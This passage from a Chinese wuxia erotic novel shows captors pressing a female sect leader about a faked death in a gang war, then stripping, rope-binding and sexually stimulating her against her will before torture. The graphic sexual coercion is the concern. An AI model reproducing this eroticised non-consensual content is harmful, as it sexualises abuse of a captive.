但这等雄图霸业却非霓裳子所想,她可怜兮兮地甚至不敢转头去望吴羽,生怕惹怒了他,只娇滴滴地轻声呻吟着,“是……这当然……只要公子吩咐,无论何事……奴家无不照办……绝无二话……嗯……只要……只要先松解松解奴家的手,哎……奴家好疼,是不是……是不是真擦出血了……”

见霓裳子干脆真撒娇起来,邵雪芊怒上心头,若非理智强行压抑,手中长剑怕早抹到霓裳子颈上去了,尤其霓裳子娇柔言语之间,目光在吴羽看不到之处偷偷飘向自己,透着一丝得意,即便明知此女只是为了挑起自己怒气,好在两人间取事,但心中那火仍是压抑不下,强自忍耐的模样令霓裳子愈发得意,唇角那娇甜柔美的微笑,令那楚楚可怜的模样更增几分妩媚。

“道长放心……”似是看不到邵雪芊沸腾的怒气,吴羽依然保着这般亲近的姿势,甚至真伸手轻抚着霓裳子纤手与天罗丝摩擦之处,抚触虽是轻柔,那触感却令霓裳子娇躯不住颤抖,若非极富挑逗之意的淫贼手法,她岂有可能这般不济?

想到此处霓裳子愈发得意,却没想到吴羽接下来的一句话,差点没把她活活吓死。“只要道长相助,帮在下约见商月玄商帮主,两边共商对付马轩的大事,别说松解手上绑缚,便是放道长自由,也只是一句话的事,不知道长意下如何?”

你到底在说什么?听吴羽这句话,邵雪芊沸腾的怒气登时平息,心下虽有疑惑,喜意却是更增。商月玄明明已死,否则叶谦也不会接任污衣帮主,吴羽要霓裳子约见商月玄,话语说的平和有礼,实际上却跟叫霓裳子去死一般,想来吴羽也知道霓裳子这女人不好惹,索性直接以生死相迫,只要这淫妇是贪生怕死之辈,又知道自己两人都想杀她,是否屈服也只是时间的问题。

“公子……公子言重了,奴家不明白……”听吴羽这句话,霓裳子言语间竟不由有些结巴,虽只一瞬之间,也让邵雪芊看出,这女人确实被生死间的选择迫得心神稍乱,显然吴羽这句话有效,“商帮主已然逝世,即便奴家再有能为,又如何能够……能够与商帮主相约?奴家实没办法……”

“道长真的没有办法?在下好失望呢!”嘴角浮起一丝异样的笑意,吴羽的手轻抚着霓裳子皓腕,抚触间极尽温柔,看得邵雪芊差点火起。明知这人淫贼心性,即便知道被擒此女外表圣洁高贵似一仙子,实则是只黑寡妇,一有机会仍是大起轻薄,真是死性不改!

偏偏吴羽言语平和一如往常,那心平气和的样儿,反倒让邵雪芊有火没处发,即便看霓裳子这样儿,知道自己与吴羽的事或许已瞒不过她,但最多是干脆杀她灭口,邵雪芊反倒渐渐冷静下来,看你怎么玩她?

“奴家……奴家是真的没办法,哎……公子,求求你……人鬼殊途,奴家又非能够穿梭阴阳的通灵乩童,如何能够与商帮主相约?公子这玩笑开的可大了……拜托你,别……别再继续吓奴家了……”脸色微微泛白,甚至连声音都颤了,邵雪芊也看得出来,霓裳子言语间虽刻意装做不知吴羽杀意,对这一发千钧的生死相迫却不是毫无反应,这等紧张模样,跟先前的故作娇媚真是大大不同。

“哎,公子……算奴家求求你……”一脸可怜模样,霓裳子眼中微盈泪光,仿佛真的被吓到了,柔弱得像是只要稍稍加一把力,整个人就会软瘫下来,“只要……只要别说这个……公子要……要奴家怎么服侍你、想要奴家怎么样,奴家都会乖乖听话,好不好?奴家不过一弱女子,就算江湖行走有些功夫,也万万不是公子与姬夫人对手……既落入公子手中,无论公子想怎么样,奴家……都只能乖乖的……嗯……乖乖听话”

看来霓裳子是真的吓到了,那可怜模样还真是我见犹怜,邵雪芊心知吴羽这黑脸也扮得够了,接下来该自己来扮白脸,安抚被吓得脸色发白的霓裳子,一软一硬迫她就范。

只是边想边觉得奇怪,照说这扮黑白脸迫人就范的手段并不出奇,可再怎么说,都该由自己这最恨淫娃荡妇的“冷月仙姑”来扮黑脸,让吴羽来扮白脸才是,如今这没商没量的人却反过来。虽说让男人来吓霓裳子,确有出奇制胜之效,可要安抚这淫妇,自己还真是不好开口,这人怎一点预告都不打的?

“那……就真是可惜了。”大手仍在霓裳子皓腕间搓揉,揉得这女子经受不住的轻声呻吟,喘息轻哼之间满溢的尽是柔弱,吴羽的言语间却一点没有放松,只抛了个眼色让邵雪芊闭口,“在下早盼望着跟商帮主接上头,好商量一下该怎么里应外合来对付马轩。若商帮主真的死了,里应外合之策不奏效,无奈之下也只能希望黑道联盟内自相残杀,才对本盟有利。无论谁胜谁负,至少得把锦裳门、污衣帮和影剑门都得搞得动乱不息、死伤盈野才好,道长你说是也不是?”

“别……别这样……”娇躯愈发颤抖不休,那坚强外表下的柔弱无力全然无法掩饰,霓裳子娇喘之间,软得似再无抗力,若非吴羽牵着她的手,只怕真要滑到地上去哩!“奴家弱质女流,既然被擒,就只能任公子予取予求,若公子再不放心,自可在奴家身上施加禁制,对奴家为所欲为,奴家保证乖乖依顺便是,千万别……别说这么可怕的话,若要杀人,奴家……奴家具的会怕……”

本以为吴羽不过是以生死迫霓裳子就范,但愈听愈不对,吴羽的话中似别有用意,何况看霓裳子这模样好像真被吴羽掌握了什么重大把柄,邵雪芊眯细了眼,本来稍稍退开的身形又靠了过来,按住霓裳子香肩,微微让她离开吴羽的怀抱,只一双玉手还被他拿着尽情轻薄。

见邵雪芊望向自己的目光中满是疑惑,显然发觉不对,吴羽微微一笑,点了点头。

其实对此事吴羽也没有十分把握,叶谦突袭翔风堡一事着实透着诡异,虽说马轩事后及时止血的动作来得迅速,可见此人才智绝计不弱,但即便安抚了少林寺那边,便不说少林寺仍对黑道联盟起了戒心,甚至派了荣华大师前来,光只黑道联盟内的暗潮汹涌,就够马轩伤脑筋了。

如此一箭数雕之计,若非针对马轩他绝不相信,而纵观黑道联盟之中,能有如此智计,又对马轩有仇在心之人,怎么想也想不出来,否则吴羽也不会将心思打到商月玄身上去。

只是若此计是商月玄所想,那其计划吴羽便可知一二:藉着马轩暗算之事,商月玄趁机隐至幕后,连同污衣帮的几位为首高手也一同隐遁,好在暗中算计马轩,而叶谦恐怕就是此计划中的关键。马轩以为此人是自己伏在污衣帮内的暗椿,但实际上这人却是个双面谍,商月玄借他指挥污衣帮的力量,给马轩扯后腿,虽只一击,目下的马轩只怕就得焦头烂额一番。

不过以商月玄的才智,自然不会只满意此番结果,对他而言,最好就是隐在幕后,把少林寺也扯进来,等到威天盟与影剑门两败俱伤后,再出来收拾残局,到时候影剑门势力大减,想必难敌少林寺、威天盟与污衣帮等众敌,而马轩正好变成商月玄等人推出来担罪的罪魁祸首。

虽说那时黑道联盟各派势力难免重创,难以恢复以往的雄风,但较之被马轩逐个吞掉,只剩下影剑门和十二连环坞独领风骚,光只残存下来的结果,已经够令人为之振奋:到时候威天盟虽说不会放过黑道联盟各派,但只要有马轩顶罪,想必少林寺也不会对黑道联盟各派赶尽杀绝。光只是与威天盟敌对,跟先前的状况也差不了多少,彼此谁都奈何不了谁,想来商月玄也不担心。

但若商月玄的计划当真如此,对他而言,除了叶谦外还得有一着棋子,毕竟叶谦借马轩之势而起,便能暗中扯他后腿,表面上也必须服从马轩的指令,避免被看出破绽。因此在台面上必须有一个人物与马轩唱反调,迫得马轩短时间内无法全力对外,否则若在叶谦来得及扯马轩后腿前,马轩便已集中全力,以迅雷不及掩耳之势一举覆灭威天盟,又以外交手段与少林派相安无事,借战胜之威全力安稳内部,确立他在黑道联盟中的盟主权威,隐伏的商月玄便无所施其技。

仔细观察岳敏宸传回的情报,吴羽敏感地发现霓裳子的动向不对。照说以马轩挟影剑门实力与十二连环坞之助新入黑道联盟,身为盟主的他正磨刀霍霍,打算依实力强压所有反对者,又以暗杀手段解决了一戒僧和商月玄两个实力派人物,余下之人实力不及,照说只有顺服的分。但全由女子组成,实力最弱的锦裳门却敢明目张胆的反抗,若无所恃、若无所图,岂能如此?

听吴羽缓缓地说明他的推论,邵雪芊暗吐一口气。除了对商月玄的诡计愈发惊怕,心想着换了自己在马轩的位子上,只怕是连死都不知道怎么死的,对吴羽的佩服却更胜从前。

靠着这么一点点线索,他竟然就猜到了商月玄的计划,还说的这般有模有样的,看他那容光焕发的丑脸,只觉愈看愈爱。他头脑这么令人佩服,床上功夫又那么厉害,虽说那事光想便羞人至极,但想到被这么厉害的人在床上尽情征服占有,心迷意醉欲仙欲死的快乐,令邵雪芊不由娇躯发热起来。

邵雪芊听得心花怒放,只想被吴羽抱上床去好生享用一番,一旁的霓裳子却不由心惊肉跳。吴羽没没无闻,当日在君山派一战败商月玄,这才崭露头角,后来又展现智计,令石渐与刘濠阴谋败露,才能稳坐威天盟智囊之位,没想到连隐伏幕后的商月玄的计划也猜到了大半。

这人如此厉害,有他为敌,以后黑道联盟的日子可怎么过?直到现在,她才觉得自己被擒也是不冤。

只是霓裳子也知道,这回商月玄的计策被识破,并不完全因为吴羽才智厉害这点原因。

虽说因着暗算而诈死退入幕后是条好计,但叶谦才上任就急着对翔风堡动手,本来还不知怎么回事,直到商月玄暗中与自己联络才知原因。其实那时她已经告知商月玄自己的担忧,叶谦这一步虽是一箭数雕,但马轩非是常人,叶谦这般大的动作,他岂会不觉其中暗潮对着自己而来?恐怕现在马轩也猜到叶谦这人不太对劲,只是忙着安定内部,还分不出手来处理就是了。

如果不是因为发觉商月玄步调太快,虽说马轩现在还分不出手来,生性谨慎的霓裳子却生怕出了岔子。商月玄败亡也罢,却连同锦裳门一起陪葬,她也不会这么急着逼杨柔依就范,好让锦裳门多一步伏笔可以利用。仔细想想,就连自己今日被擒,跟商月玄的妄进也真离不开关系。

不过当她那时间商月玄如此躁进的原因时,商月玄的回答也真令她无力反驳,时不我待啊!马轩不是笨蛋,影剑门实力又强,虽说引狼入室的夏侯征隐隐已有与他分道的动向,但有盟主之位可用,马轩的种种手段,已逐步建立威望,迫得商月玄不急不行。

何况商月玄虽藉机隐遁,但一戒僧却是真的身死,让玄袈教真落入了马轩掌控之中。若一戒僧也还活着,几人联手起来,即便马轩是盟主、即便夏侯征仍支持马轩,他们仍有一拼之力,也不至于搞成现在这副模样。

但霓裳子也知道,马轩之所以还腾不出手来对付叶谦,除了安定内部的事情繁杂之外,觉得叶谦不成气候,即便放着不管也出不了什么大事也是原因之一。

若马轩知道叶谦只是傀儡,在他身后是商月玄这厉害角色出谋画策,只怕马轩会把什么麻烦事都放到一旁,用尽手中力量也要彻底解决污衣帮的势力。若他真有把握跟商月玄斗智斗勇,也不会一开始便动用暗杀手段了。

就因为如此,当吴羽说到他怀疑商月玄还活着,甚至想将这消息透露给马轩知道的当儿,霓裳子当真慌了。一旦消息外露,马轩与商月玄必是一场你死我活的激斗,就算锦裳门能不卷入其中,事后胜利者是商月玄还罢,若是马轩胜了,不利用这机会把云天七宗和锦裳门置入自己控制之下才有鬼!

不说宁为鸡首毋为牛后,原为一派之首,能忍得住被吞并、被颐指气使的这口恶气,也就算不上武林人了。光想到那时马轩的嘴脸,霓裳子便受不了,否则也不会这般惊慌失措。

偏偏消息外流对锦裳门和污衣帮而言绝非好事,对威天盟而言却是大大的好事,一旦影剑门与污衣帮当真干上,威天盟必会坐山观虎斗,待两虎相争、必有一伤的结果后再来收拾残局,至不济也争取到喘息的时间,吴羽会怎么选,当真用脚趾头想都知道。若非顾忌这等后果,以霓裳子的性情也不会这般容易便向吴羽示弱投降。

最麻烦就是吴羽嘴上说的虽好听,要跟商月玄联络,看如何对付马轩,表面上是两家共利的结果,但与外人合作,最怕的就是对方暗中使计扯后腿。黑道中人以利为引,还可看出行动方针,正道中人却往往依违于利益和正邪不两立之间。

若是正道与正道还有可能衷诚合作,但正道与黑道合作,正道中人要把黑道中人卖掉,可是行动得义无反顾,话说得冠冕堂皇。一旦自己当真让两人联络上,也不知吴羽会否干脆就把商月玄卖给马轩,只为了争取培养实力的时间。

好像怎么选择都是死,霓裳子只能泪水盈眶、娇弱柔媚地望着他,抱着唯一的希望,把吴羽的心思从如此大事转移到自己的肉体上头,只望在自己失踪的时候,商月玄能够发觉状况不对,不要让马轩真有机会把这几个反抗势力全灭了就好,至于自己后果如何,也管不了这许多。

【第十卷】第三章:淫娃遭殃

“既然道长不愿相助,在下也只有用点办法逼供了。”见霓裳子始终不愿松口,

吴羽也知道是黑白两道天生的互不信任作怪,只是这等事用嘴巴说永远解决不了,他也只能照计划进行。

“逼就逼吧……奴家都已经落入公子手上了,自是任……任公子为所欲为。”轻咬着发丝,含泪美眸可怜兮兮地望着吴羽,随着激动的唿吸,那美峰在衣内曼妙地跳着,这模样乖乖不得了,容姿仍若以往完美无缺,那等强自撑持的外表薄若蝉翼,简直就像吸引着男人强力撕毁掉她坚持的外貌,融化她的冰冷,将她柔软的内在彻底占有蹂躏,把她全然征服,连邵雪芊都不由有点异样的想法,“随公子……想怎么逼奴家都行,大不了……大不了奴家被你们……被你们活活弄死好了……”

虽知霓裳子表面上只是柔弱女子,但她久历江湖,武功高明,又是一派之主,要说性子柔弱是绝没人肯信的,但眼见她已然遭擒,又被吴羽这般胁迫,仍是不肯屈服,嘴里虽柔弱无力地说着任凭宰割,但若没有准备,要在男女之道上赢过此女,却是难上加难。邵雪芊与吴羽对视一眼,见后者耸了耸肩,伸手将霓裳子推入邵雪芊怀中,“既是如此,还请夫人动手吧!”

听吴羽的脚步声向亭外走去,与来时的无声无息不同,那沈稳的脚步声似将霓裳子最后一线希望带走,明知此人举动不过给自己心理上造成压力,霓裳子心下仍不由微有些慌乱。

身为女子,霓裳子最知自己的优缺点,要诱惑男人的法子她不晓得的还真不多,但要对付女人嘛……可就差上一截。若杨柔依是个男子,只怕她也不用花这么多时间精力,早已手到擒来,偏偏眼下留在亭中的不只是女子,还是邵雪芊这等久历江湖,若论江湖经验比自己不遑多让的侠女。

自己那些手段用来对付杨柔依这等嫩女娃或许还派得上用场,要对付邵雪芊的话……除非已在床上与她成就好事,让她尝得滋味,否则要诱她上手,即便是霓裳子这等实力,也是难如登天。

更糟的是方才自己诱惑吴羽竟然失败!若吴羽只单纯是邵雪芊的部属,受她所命来擒自己也还罢了,偏偏看自己色诱吴羽时邵雪芊的反应,这两人之间怕也是有不可告人的关系,关系愈隐密那醋意愈不可抹灭,不吃醋的女人便连霓裳子这等经验也未曾见过。现下邵雪芊醋意正浓,自己偏落入她手中,这下子可要吃不完兜着走了。

心中暗叫糟糕,霓裳子却也乖觉。吴羽脚步声已然走远,现下亭中只剩下自己与邵雪芊两个女人,既然自己诱惑不了已被男人餵得饱足的邵雪芊,还不如闷声不吭的好。她闭目垂首,连句话也不说,一副任凭处置的乖模样,原先有意无意中摆出的风情万种,一瞬间都收得干干净净。

“怎么?不说话了?”见吴羽前脚才走,后脚霓裳子立时摆出一副乖巧模样,邵雪芊心下雪亮,纤手轻柔地从霓裳子颊边缓缓熘下,顺着颈项渐渐探入衣内,语气虽令人不寒而栗,芳心却不由暗自惊佩。

这霓裳子比自己还大上十来岁,这肌肤却保养得极其完美,触感之柔滑细致,比之少女也不遑多让,甚至与一身丝缎衣物相比之下都不显半点粗了,配上那微咬银牙,一副仙子落尘般强忍着被自己挑弄的模样,即便自己同为女子,竟似也觉光这样触摸都像亵渎了她。

感觉邵雪芊的手在自己衣内轻轻抚摸,那手指纤细的触感竟不由令她也有些战栗,而当邵雪芊纤指轻解自己衣扣的当儿,霓裳子不由一惊睁眼,眼中狐疑油然而生,却阻不住她的动作。

身为江湖出名的淫娃荡妇,被宽衣解带早已是寻常事,可即便以霓裳子的床上经验,被男人剥脱衣物常有,被同为女人这样做却是不多,尤其邵雪芊嘴上没说什么,眼中却带着一丝诡异的笑意,在剥除霓裳子衣物的同时,纤指更有意无意地触摸挑弄霓裳子女体的要害,勾弄间功力不弱,若闭着眼睛,不去管那纤指的柔软纤细,怕还分不出面前轻薄自己的是男是女。

本来若只是被剥去衣裳,紧接着要做的便是床笫销魂,若对方是男子霓裳子自然不怕,即便对方是女子,霓裳子倒也不惧,假凤虚凰间就算对方知道自己的弱点,想搞什么鬼也难。

但邵雪芊那诡异的笑意,却令霓裳子心下不由打鼓。就算几十年江湖路走下来,对生死早已看淡,既然知道已经落入对方手中,即便会承受什么苦刑惨刑迫供折磨,其实霓裳子早有心理准备。

但若是男子施刑霓裳子倒也不惧,说不定还能想点办法反败为胜,可众所皆知,江湖上最危险的,恰恰是表面柔弱的女流老幼,比这些人都更危险的就是吃醋的女人,既不知邵雪芊想干什么,那无知的畏惧混着方才还未抹除的心理压力,混到一处后竟令霓裳子也不由心下惴惴。

衣裳全然落地,虽说一丝不挂,霓裳子却仍站得笔直,含羞带怯的模样却掩不住那丝骄傲,配上她亭亭玉立的站姿,将女体的美丽展现得恰到好处。毕竟身为风月场中人,肉体就是她最大的本钱,自然不能有丝毫缺失,就算知道这样做可能让眼前的女子妒意更升,可能使自己的处境愈发糟糕,但身为女人,在展现自己肉体的时候,她却绝不能容忍输给同为女人的邵雪芊。

没想到即便被剥得光熘熘,赤裸的胴体在这甫入夜的山风习习之间,仍没有丝毫瑟缩,反而更骄傲的直立着,邵雪芊一边打量着面前完美的女体,一边暗自佩服,一边心下生气。若非这女子声名太坏,这样傲人的体态、这样风流的气质,哪样不让同为女子的旁人羡慕?

此刻明月初上东山,亭内亭外一片清朗,月光掩映之间霓裳子赤裸的胴体犹如出水芙蓉、莲花绽放,似天上仙子跌落凡尘,即便明知此女外貌圣洁内里淫荡,邵雪芊仍不由看呆了眼,惊疑于月映下霓裳子玉容美得不可方物,弯弯的秀眉下美目中阵阵朦胧、如水如雾,一点樱唇红润媚泽,瑶鼻娇喘吁吁,再向下那盈盈俏立的纤美身段宛若天成,恰到好处,丝毫都不可增,白似霜雪的晰长玉颈彷似精雕细琢,弧线优美已极,与那冰肌玉骨似浑然一体,再难分离割裂。

入目处霓裳子雪白美峰傲然挺立,高高贲起的峰峦彷如凌空矗起两只玲珑玉碗,弹跳间格外令人将眼光集中在峰谷间那一道深深的沟壑。峰顶上两颗红润的蓓蕾,犹如两颗小巧的红豆点缀在雪白之间,看得让邵雪芊一双纤手忍不住捂在自己胸前,若论高耸挺拔,她已小输霓裳子半分,而蓓蕾的粉嫩诱人,她更是无可比拟,心下不由又妒又怒,却又有几分羡美之感。

不再看那令自己自叹弗如的地带,邵雪芊的目光顺着那令人瞩目的曲线蜿蜒而下,穿过平坦盈润的小腹和不堪一握的纤腰,那双笔直玉腿紧紧并着,在月光下微微可见腿根处一丛油然生光的黑润可人,诱得她的目光愈发深进,似可看穿双腿之间那纤细柔密的乌润亲密地贴着肌肤,竟似修剪过一般没有丝毫杂乱,分外显得乌黑光润,令人不由自主地想探询乌润泛光、若隐若现的门户之中,那神秘的幽谷禁地,也不知外表如此完美的她,内里究竟是如何诱人的洞天福地?

目光又妒又羡、又带一丝不屑地在霓裳子完美无瑕的胴体游走几回,暗自比较着她与自己的不同,邵雪芊一面心气大挫,不得不承认这淫妇的确比自己更能诱惑男人,一面�起头来时,正迎上霓裳子那轻咬一撮发丝,望向自己的目光,带着三分骄傲、三分倔强,还有三分咬牙苦忍的坚持及一分惊惧难掩的恐慌。输人不输阵,邵雪芊不由瞪了回去,丝毫不愿落于下风。

好不容易等到霓裳子似难敌她凌厉目光而别过头去,邵雪芊心下了然。与其说她目光比不过自己,不如说是霓裳子不想再这么互瞪下去,不然无论比胴体完美或比对男人的引诱,她都在自己之上,绝对没有输的道理,心下却不由暗叫厉害。

即便没有卖弄风情,但光只是那挑战的眼光,只要是男人都压不住想将她压在身下恣意玩弄,将她骄傲倔强的外表全然粉碎,彻底攻陷占有她柔弱内在的冲动,即便自己是女人,这等心思竟也有些压抑不住呢!果然好个女魔头!

取出早已备下的红色麻绳,邵雪芊慢慢地捆起霓裳子来,明知抵抗无用,霓裳子虽未开口讨饶,却也合作无比地轻伸肢体,任邵雪芊绑缚起来,本来还不觉怎地,待得邵雪芊麻绳绑好,在霓裳子玉腿之间打了个结,迫得霓裳子再次直立娇躯时,她才发觉这绳缚的厉害。

虽说年纪早过五十,但一来用心保养,二来采补之法本就于肌肤润泽大有奇效,霓裳子功力精深,不只驻颜有术,望之才过双十,肌肤之柔嫩更是犹胜少女,若换了丝缎衣物或许还可比较谁更柔顺细滑一些,给这粗糙的麻绳一缚,肌肤刺痛难免,更因为麻绳所经之处皆是女体敏感地带,即便只是直立娇躯,光只唿吸之间,似都带动着麻绳磨挲肌肤,那滋味未经身受绝难形容。

最厉害的是,那绳索在她胸前贴乳绕了两圈,将霓裳子高挺傲人,又粉嫩得像两颗水蜜桃的雪乳束得愈发高挺,刺痛的刺激之间,乳上两颗粉红蓓蕾愈发硬挺起来,充满了饱满浑圆的诱惑,益发媚人!

这等缚法一来格外凸出了霓裳子傲挺的曲线,二来更弄得她唿吸都困难多了。练内功最重要的就是气息顺和,若是连唿吸都难,十分功力也使不出五分,此刻就算霓裳子的穴道被解了,光这样被缚着,面对吴羽和邵雪芊两大高手,霓裳子也绝对无力出手,更遑论逃脱。

光只绑缚之时已然如此,若这样走起路来,那折磨只怕更难以想像,即便早有心理准备的霓裳子都不得不承认,这等刑罚对女人而言确实难熬。但邵雪芊身为名门侠女,岂会识得这等淫邪手段?难不成员是给那吴羽带坏了?

迎着邵雪芊打量着自己那带些得意的目光,有心反击的霓裳子轻咬银牙,索性豁了出去,“当日君山派一会,奴家说过该教晓夫人本门服侍男人的绝技……如今看来,是奴家孟浪了,想来夫人对此早有深知,难不成……就是那位吴羽吴兄给夫人开的窍?”

“是啊,没想到你也看出来了。”虽说霓裳子这句话乍听之下差点没令邵雪芊吓死,但一来自己方才的反应全没逃过她的眼,邵雪芊也知瞒不了此女,二来接下来要用来对付她的手段,自己与吴羽的关系保证瞒她不过,既有了心理准备,邵雪芊也不担心了。

面对霓裳子的挑衅,她非但没有生气,反而笑盈盈地答了,还伸手在霓裳子嫩滑的颊上拍了拍,一副淫邪浪子模样。

没想到自己的挑衅竟没惹怒邵雪芊,本以为说不定可以气得她一剑杀了自己,便可少了一番苦刑的霓裳子暗叫不妙。即便被揭破奸情,邵雪芊仍如此轻松,显然是早下了杀人灭口的决心,自己看来是真的难生离此处了。

她暗吁一口气,既知结果如何,那悬着的心也就放了下来。挺直了娇躯,峰峦挺拔之间,那麻绳带来的刺激愈发强烈,偏偏绳结处在双腿之间,与幽谷口稍有一段距离,没有直接摩擦,却在自己激动时才若有似无地触到,那等滋味比直接摩挲更为难捱。

“夫人既已和那吴羽上过床了,自然知道男人爱的女人如何……”口中轻轻一笑,似没看出邵雪芊温柔笑意下隐藏的杀意,霓裳子似又恢复了以往的风流意态,“如何?把奴家剥的这么光,夫人在床上的身段可还比得过奴家?若是身段不如,男人看了只怕就没法那般勇猛了喔!”

“床笫之间,也不只勇猛而已……只是此间关乎性灵相交、心心相印,可就不是你这等人可以知道的了。”听得出霓裳子意在挑衅,本还有几分恨火的邵雪芊却平静下来。除非另有所恃,否则霓裳子之所以如此,除了希望自己一怒之下杀了她之外,还有哪种可能?

对方愈急自己便要愈冷静,这等修养邵雪芊还是有的,何况霓裳子表面风流娇媚,实则心下已急,否则岂会这般容易被自己看穿?

邵雪芊一边打趣,一边纤手在霓裳子身上麻绳间滑动,虽没当真触及霓裳子娇躯,但纤指过处麻绳受力,难免在霓裳子肌肤间摩擦,那微疼的酥麻感觉,竟令霓裳子不由发颤起来。

本来以霓裳子床笫经验之丰,遇过男子之众,被怎么样抚摸玩弄都已成了习惯,即便同为女子,邵雪芊的手若直接摸上去,霓裳子也一样坦然受之,全不当一回事,但麻绳微刺的感觉与手大大不同,加上麻绳将她周身缚住,捆得极紧,当真牵一发而动全身,邵雪芊的手指不过稍稍用力,麻绳抽紧之间,被绳索摩擦过的地方都像被挑逗着,如此经验霓裳子可真不曾试过。

尤其邵雪芊的捆缚方式是被吴羽指导过的,在霓裳子身上纵横宛若龟甲,将那傲人双峰箍紧根部,勒得格外挺拔,充血之间愈发敏感。若只如此剧烈摩擦霓裳子也还受得,大不了当做被男人玩弄时的火辣前戏,但绕在股间的麻绳却刻意绕开那敏感的小蒂,即便霓裳子唿吸再疾、娇躯扭动再凶,也只若有似无地刺激那敏感地带,这等既痒又搔不到的感觉,才真令霓裳子心痒难搔。

偏偏此时此刻又万万示弱不得,她一边跟邵雪芊唇枪舌剑、甜言蜜语之间暗藏挑逗机锋,一边微不可见地轻扭雪臀。本想着要嘛就冷静的跟邵雪芊相激,要嘛就干脆整个人都沈沦下去,浪到让外头的吴羽忍不住进来玩了自己,可股间的异样缚法,却令她想认输都难以甘愿。

“啊……”就在霓裳子强自挣扎,也不知该如何是好的当儿,突地一股强烈无比的刺激从股间涌上,如若洪涛溃堤一般,转瞬间将她掩没,迫得霓裳子娇躯剧震,竟不由自主地哀吟出声。

一阵娇喘方定,霓裳子美目圆睁,却见邵雪芊轻按麻绳,也不知动了什么手脚,那绳结竟狠狠地套住了自己幽谷外的敏感小蒂。那处原就敏感,霓裳子挣扎之间心思又正难以自拔,早就想着今儿自己难保,也不知是直接被邵雪芊杀了,还是会被吴羽用异样手段封住自己的采补功夫,来个先奸后杀。善泳着溺于水,沈溺风月道的她早知难免,心神不属之间竟轻易中了圈套!

“没想到……你也是这般敏感的女人。”见霓裳子娇躯虽颤抖不已,仍是直直站着,强自撑持的外表掩不住内里的软弱娇柔,却愈发令人有种将她的坚持粉碎,让她彻底在床上崩溃的冲动。便连自己身为女子都快忍不住了,邵雪芊不由微微咋舌,纤手却毫不留情地抚弄着麻绳,勾得霓裳子哀吟不已,不堪刺激地在她手下挣扎颤抖,那呻吟甜得如蜜,勾得邵雪芊腹下都不由滚热起来,“说来女人愈敏感,愈不堪男人采摘……这样的身子,也真不知你的淫妇之名怎么来的?”

“何不……何不弄奴家上床一试?”心知此番难免,霓裳子索性豁了出去,心下却暗思这下惨了,“连你……连你们家那小柔依,试过奴家滋味后也是心思难忍,倒不知你这婆婆有没有她三分媚荡?若夫人不弃,奴家愿跟夫人在床上一起试试那吴羽兄的滋味……到时在近距离亲身示范,夫人才知床笫之间水乳交融、不分彼此的快乐滋味……只不知夫人愿不愿意一试?”

果然好个淫妇!邵雪芊心下暗骂,嘴上却真没法接下这一句。虽说身心早被吴羽征服,在床上与解明嫣一同服侍吴羽也不知几次,但做归做,被人当面说穿心下却仍觉羞耻难当。若非那羞耻之间格外有种令人难以自拔的快活,只怕她真要拔剑杀了霓裳子,免得听这等淫媚言语!

可惜就算不管吴羽擒她还有要事,光看霓裳子现下赤裸无依,只剩麻绳缚身,火辣辣地将她前凸后翘的完美身段展现出来,紧勒之间妖媚的嫣红遍布嫩白香肌,显得既艳丽又孤弱,身为正道中人,这杀人的决心可真是难下。

何况邵雪芊自家知自家事,同样做过床上媚惑男人的淫妇,霓裳子的所作所为也就真没有那么难以入目,加上她的胴体如此完美,想到接下来吴羽用来对付她的手法,邵雪芊竟有种刺激的好奇心,很想自己也一起下去,这一剑又哪里能刺得出?

尤其吴羽临出前的话语犹在耳边,本来对商月玄是否诈死还有几分狐疑,但看霓裳子情急的反应,邵雪芊却愈发信服了。愈信吴羽,对他的爱恋献媚之心就愈浓,邵雪芊竟不由驰想,现在霓裳子还敢讲这些大话,但等到她在床上被吴羽整得够惨,又亲眼见识到自己与解明嫣被吴羽蹂躏得心花怒放、神魂颠倒,既淫荡又幸福无边的时候,也不知霓裳子还有什么话说?

“到时候……就知道了……”嘴角轻笑,那笑意令霓裳子竟不由一阵心寒,却见邵雪芊拾起霓裳子散落的衣裳,轻手轻脚地为她着好衣物,着手之温柔竟似比为霓裳子更衣的小婢还要来的轻巧,没多久霓裳子的衣裳已尽回到身上,若非霓裳子俏脸微红,那雅洁清净竟不觉有被剥光过。

只是邵雪芊动作虽轻,又将她的衣裳打理得干干净净,一点没有刚被剥光的模样,霓裳子反而心中惊惧更浓。被男人脱衣裳是常有的事,偶尔也被女人脱过,但说到被人穿好衣裳嘛……在完事之后愿意为女人穿好衣裳,故示温柔体贴的男人已是千中无一,要说女人会做这种事的更是少之又少,更不要说邵雪芊这等名门侠女,这回的经验在霓裳子而言,可是破天荒头一回。

尤其方才把自己脱光之时,邵雪芊的动作温柔中还带着侵略性,轻薄之间直透重点,抚摸时感觉上与男子虽然不同,可挑逗的感觉却不输于男性,若是霓裳子闭上眼睛,说不定还没法分辨究竟是邵雪芊还是吴羽动的手哩!

那异样的刺激感觉,差点让霓裳子以为自己又要被弄上床去大快朵颐了,哪里想得到邵雪芊竟还会将自己的衣裳完完整整地穿回来?偏偏无论脱衣卸裳之间,她的手都毫不规矩,那种刺激之下愈发显得现在被穿回衣裳的异样,令霓裳子心中不由打鼓。

只是惊讶归惊讶,甚至心中还带点畏惧,若霓裳子只是孤身一人,或许也就试着尝尝新,但她身后还有个锦裳门、还有被吴羽探知的秘密在,若吴羽当真把那消息传了出去,在威天盟争取时间喘息时,锦裳门在马轩的压逼下必然死伤相借。

若是面对吴羽,就算要她百般献媚,也得试着把这人迷住,至少给锦裳门争条生路,偏偏现在却是邵雪芊动手,让她想迷人都不敢妄动。

“啧啧啧……看你这模样,真是个外表仙姿翩然,内里淫乱冶荡的狐狸精……”见霓裳子衣裳穿好后闭目不语,却丝毫没有低头,外貌竟似恢复到原先的冰冷圣洁、高雅无伦,方才赤裸胴体入目时的淫乱刺激愈发强烈的历历在目,对比之强烈令邵雪芊也不由称奇。

尤其明知霓裳子娇躯还被麻绳紧紧捆缚,女体娇嫩的肌肤上头也不知受了多少刺激,竟还能保着如此神情,邵雪芊竟不由自叹弗如,这江湖确实藏龙卧虎,就连一只以媚惑男人为事的狐狸精,也不是好做的呢!

不过看霓裳子被脱光时话里还有攻有守,对自己丝毫不肯示弱,衣裳穿回来之后却安静了许多,邵雪芊知道绝不是因为霓裳子被麻绳缚得无话可说,而是被自己吓到了,心下不由苦笑。

本来以她的想法,干脆就把霓裳子的衣裳全留在此处,把她就这么赤条条地架到早已备下的刑房里头,虽算不上一丝不挂,诱惑处却比全裸时更加媚人,看她到时还能不能保着那凛然难以亲近的模样?

